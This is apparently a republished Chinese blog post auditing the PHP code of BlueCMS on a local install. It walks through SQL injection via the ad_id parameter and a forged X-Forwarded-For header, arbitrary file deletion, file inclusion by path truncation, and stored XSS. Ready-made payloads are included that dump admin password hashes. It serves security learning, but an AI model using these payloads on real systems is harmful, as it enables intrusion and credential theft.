当前位置:   article > 正文

BlueCMS代码审计

bluecms代码审计

# 开始

把源码下载到本地,访问网站的/install目录安装即可

# 0x01 sql注入

ad_js.php
<?php

define('IN_BLUE', true);
require_once dirname(__FILE__) . '/include/common.inc.php';

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
	echo 'Error!';
	exit();
}

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
if($ad['time_set'] == 0)
{
	$ad_content = $ad['content'];
}
else
{
	if($ad['end_time'] < time())
	{
		$ad_content = $ad['exp_content'];
	}
	else
	{
		$ad_content = $ad['content'];
	}
}
$ad_content = str_replace('"', '\"',$ad_content);
$ad_content = str_replace("\r", "\\r",$ad_content);
$ad_content = str_replace("\n", "\\n",$ad_content);
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34

包含了php文件

require_once dirname(__FILE__) . '/include/common.inc.php';
  • 1

如果$ad_id不为空的值,就把$ad_id字符串首尾去除空白字符

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
  • 1

这里有个sql语句可能sql注入漏洞

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
  • 1

这一段主要是判断如果time_set字段等于0的时候,会输出查询的content字段

end_time字段小于time()函数返回的时间戳,会输出查询的exp_content字段

否则的话输出content字段

if($ad['time_set'] == 0)
{
	$ad_content = $ad['content'];
}
else
{
	if($ad['end_time'] < time())
	{
		$ad_content = $ad['exp_content'];
	}
	else
	{
		$ad_content = $ad['content'];
	}
}

echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

image-20220219114031635

/inclue/common.inc.php

跟进/include/common.inc.php看看有什么过滤

这里是包含了一堆函数的php文件

require_once (BLUE_ROOT.'include/common.fun.php');
require_once(BLUE_ROOT.'include/cat.fun.php');
require_once(BLUE_ROOT.'include/cache.fun.php');
require_once(BLUE_ROOT.'include/user.fun.php');
require_once(BLUE_ROOT.'include/index.fun.php');
  • 1
  • 2
  • 3
  • 4
  • 5

这里如果没有使用魔术方法,会给 P O S T , _POST, POST,_GET, C O O K I E , _COOKIE, COOKIE,_REQUEST的值使用deep_addslashes()函数

if(!get_magic_quotes_gpc())
{
	$_POST = deep_addslashes($_POST);
	$_GET = deep_addslashes($_GET);
	$_COOKIES = deep_addslashes($_COOKIES);
	$_REQUEST = deep_addslashes($_REQUEST);
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

跟进deep_addslashes($str)函数

函数的主要功能就是如果$str参数是数组,就遍历循环数组把数组的值调用deep_addslashes()函数

当不是数组的时候,返回addslashes($str)的值

function deep_addslashes($str)
{
	if(is_array($str))
	{
		foreach($str as $key=>$val)
		{
			$str[$key] = deep_addslashes($val);
		}
	}
	else
	{
		$str = addslashes($str);
	}
	return $str;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

addslashes()函数功能

过滤单引号(')、双引号(")、反斜线(\)与 NUL(null 字符),在前面添加反斜线(\)
  • 1
sql注入利用

代码分析的差不多了,返回看ad_js.php的这句sql语句,使用addslashes过滤了我们传入的参数,引号可以使用unhex()函数十六进制来绕过

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
  • 1
  • 前面有分析过,当我们time_set字段为0的时候,输出查询content字段的值

  • 爆出表名

?ad_id=-1 union select 1,2,0,4,5,group_concat(table_name),7 from information_schema.tables where table_schema=database() --+
  • 1

image-20220219115440966

  • 爆出blue_admin表的字段名

因为过滤了引号,使用hex函数加密,因为一次hex还有字符串,可以使用双重hex()加密

image-20220219115928737

?ad_id=-1 union select 1,2,0,4,5,group_concat(column_name),7 from information_schema.columns where table_name=unhex(unhex(3632364337353635354636313634364436393645))--+
  • 1

image-20220219115955957

  • 查询admin的密码
?ad_id=-1 union select 1,2,0,4,5,group_concat(admin_id,0x3a,0x3a,admin_name,0x3a,0x3a,pwd),7 from blue_admin--+
  • 1

image-20220219120637065

  • 数据库里的密码经过了md5加密,可以拿去解密网站解密一下

image-20220219120802666

#0x02 sql注入2

comment.php

这里有个insert语句,且调用了这条$sql语句,ip的值为getip()函数

 	$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
 			VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
	var_dump($sql);
 	$db->query($sql);
 	if($type == 1)
 	{
 		$db->query("UPDATE ".table('article')." SET comment = comment+1 WHERE id = ".$id);
 	}
 	elseif($type == 0)
 	{
 		$db->query("UPDATE ".table('post')." SET comment = comment+1 WHERE post_id = ".$id);
 	}
	if($_CFG['comment_is_check'] == 1)
	{
		showmsg('请稍候,您的评论正在审核当中...','comment.php?id='.$id.'&type='.$type);
	}
	else
	{
		showmsg('发布评论成功','comment.php?id='.$id.'&type='.$type);
	}
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

跟进getip()函数

可以看到ip可以被X-Forwarded-For伪造,且没有对它进行过滤

function getip()
{
	if (getenv('HTTP_CLIENT_IP'))
	{
		$ip = getenv('HTTP_CLIENT_IP'); 
	}
	elseif (getenv('HTTP_X_FORWARDED_FOR')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED_FOR');
	}
	elseif (getenv('HTTP_X_FORWARDED')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED');
	}
	elseif (getenv('HTTP_FORWARDED_FOR'))
	{
		$ip = getenv('HTTP_FORWARDED_FOR'); 
	}
	elseif (getenv('HTTP_FORWARDED'))
	{
		$ip = getenv('HTTP_FORWARDED');
	}
	else
	{ 
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	return $ip;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28

构造payload:

X-Forwarded-For:1','1'),('','2','3','1','3',(database()),'1','1
  • 1

因为回显在comment字段,想要爆出数据库这样的sql语句就是:

INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
 			VALUES ('', '1', '1', '0', '0', '11', '1645319447', '1','1'),('','2','3','1','3',(database()),'1','1', '1')
  • 1
  • 2

image-20220220091112308

image-20220220091252990

查询密码

X-Forwarded-For:1','1'),('','2','3','1','3',((select group_concat(admin_name,0x3a,0x3a,pwd)from blue_admin)),'1','1
  • 1

image-20220220092750844

#0x03 任意文件删除

publish.php
elseif($act == 'del_pic')
{
 	$id = $_REQUEST['id'];
 	$db->query("DELETE FROM ".table('post_pic').
 				" WHERE pic_path='$id'");
 	if(file_exists(BLUE_ROOT.$id))
 	{
 		@unlink(BLUE_ROOT.$id);
 	}
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • unlink()函数
unlink(string $filename, resource $context = ?): bool
filename
文件的路径。
  • 1
  • 2
  • 3

代码未进行过滤,将接收到的$id直接传入unlink函数,如果文件存在,达到我们任意文件删除的目的

在我们文件夹下创建一个test.txt

image-20220219144910085

尝试删除test.txt

publish.php?act=del_pic&id=test.txt
  • 1

image-20220219145014043

test.txt已经被删除了

image-20220219145051209

#0x04 文件包含

user.php
 elseif ($act == 'pay'){
 	include 'data/pay.cache.php';
 	$price = $_POST['price'];
 	$id = $_POST['id'];
 	$name = $_POST['name'];
 	if (empty($_POST['pay'])) {
 		showmsg('对不起,您没有选择支付方式');
 	}
 	include 'include/payment/'.$_POST['pay']."/index.php";
 }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

php截断有三种方式:

  • %00截断

需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效

  • ./截断

php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256

?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

  • 1
  • 2
  • 点号截断

php 版本小于 5.2.8 可以成功,只适用 windows,点号需要长于 256

?file=../../../../../../../../../boot.ini/………[…]…………
  • 1

这里因为文件都有addslashes()函数过滤,不能用%00截断

目录下创一个test.txt

image-20220219182324073

payload:

user.php?act=pay
  • 1

[POST]

pay=../../test.txt..................................................................................................................................................................................................................................................................................................................................
  • 1

#0x05 XSS漏洞

user.php

未对参数做任何过滤

 elseif($act == 'edit_user_info'){
	 $user_id = intval($_SESSION['user_id']);
	 if(empty($user_id)){
		 return false;
	 }
	$birthday = trim($_POST['birthday']);
	$sex = intval($_POST['sex']);
    $email = !empty($_POST['email']) ? trim($_POST['email']) : '';
    $msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
    $qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
    $mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
    $office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
    $home_phone   = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
	$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

电子邮件地址处:

<script>alert('xss')</script>
  • 1

image-20220219223735341

XSS成功

image-20220219222555711

MSN处:

"><script>alert('111')</script>
  • 1

image-20220219223908474

XSS成功

image-20220219223841484

#0x06 XSS漏洞2

elseif ($act == 'do_add_news') {
 	include_once 'include/upload.class.php';
 	$image = new upload();
 	$title = !empty($_POST['title']) ? htmlspecialchars(trim($_POST['title'])) : '';
 	$color = !empty($_POST['color']) ? htmlspecialchars(trim($_POST['color'])) : '';
 	$cid = !empty($_POST['cid']) ? intval($_POST['cid']) : '';
 	if(empty($cid)){
 		showmsg('新闻分类不能为空');
 	}
 	$author = !empty($_POST['author']) ? htmlspecialchars(trim($_POST['author'])) : $_SESSION['admin_name'];
 	$source = !empty($_POST['source']) ? htmlspecialchars(trim($_POST['source'])) : '';
	$content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';
	$descript = !empty($_POST['descript']) ? mb_substr($_POST['descript'], 0, 90) : mb_substr(html2text($_POST['content']),0, 90);
 	if(isset($_FILES['lit_pic']['error']) && $_FILES['lit_pic']['error'] == 0){
		$lit_pic = $image->img_upload($_FILES['lit_pic'],'lit_pic');
	}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

可以看到$content字段使用了filter_data()过滤函数

$content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';
  • 1

跟进filter_data()函数,正则过滤了一些字符

function filter_data($str)
{
	$str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);
	return $str;
}
  • 1
  • 2
  • 3
  • 4
  • 5

使用img标签绕过

<img src=1 onerror=alert('xss')>
  • 1

image-20220220095450617

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家自动化/article/detail/543581
推荐阅读
相关标签
  

闽ICP备14008679号